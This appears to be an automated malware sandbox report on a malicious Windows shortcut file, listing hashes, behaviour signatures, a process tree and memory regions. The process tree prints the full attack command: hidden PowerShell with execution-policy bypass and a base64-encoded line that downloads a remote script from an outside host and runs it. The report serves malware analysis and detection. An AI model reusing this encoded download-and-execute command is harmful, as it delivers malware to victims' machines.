Resubmissions

06-04-2024 02:48

240406-dagadaaa78 10

05-04-2024 14:46

240405-r5m83afc49 8

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2024 14:46

General

  • Target

    DOC1718 - 17181718.lnk

  • Size

    9KB

  • MD5

    b2f8f92b1a74fcbe95a7a9cd50994785

  • SHA1

    a124648dddeaaef25245643f98df6c50ec693b94

  • SHA256

    ba41a32b699a07b7a0d7871839ef0c86a9eae01a3277c151a24d288919832fff

  • SHA512

    1107e818462ad8f8f9a13f052df590c6a964a6d79aa33fc0fb91eda9ab1b05eaca64bab604834d092d57f232a188b94403125569dee9f0cdb61983a6b7c3f7e6

  • SSDEEP

    192:8z5P5hm3MSBf2TL52FWGkOlRKAaqPVpVIZhVjjpOW234jXAc0y:u53cMS5ZFbkO3KYyftoy

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC1718 - 17181718.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:512

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tmelmvp0.pgw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/512-7-0x0000024535400000-0x0000024535422000-memory.dmp

    Filesize

    136KB

  • memory/512-12-0x00007FF969870000-0x00007FF96A331000-memory.dmp

    Filesize

    10.8MB

  • memory/512-14-0x00000245332C0000-0x00000245332D0000-memory.dmp

    Filesize

    64KB

  • memory/512-13-0x00000245332C0000-0x00000245332D0000-memory.dmp

    Filesize

    64KB

  • memory/512-15-0x00000245332C0000-0x00000245332D0000-memory.dmp

    Filesize

    64KB

  • memory/512-16-0x00000245332C0000-0x00000245332D0000-memory.dmp

    Filesize

    64KB

  • memory/512-19-0x00007FF969870000-0x00007FF96A331000-memory.dmp

    Filesize

    10.8MB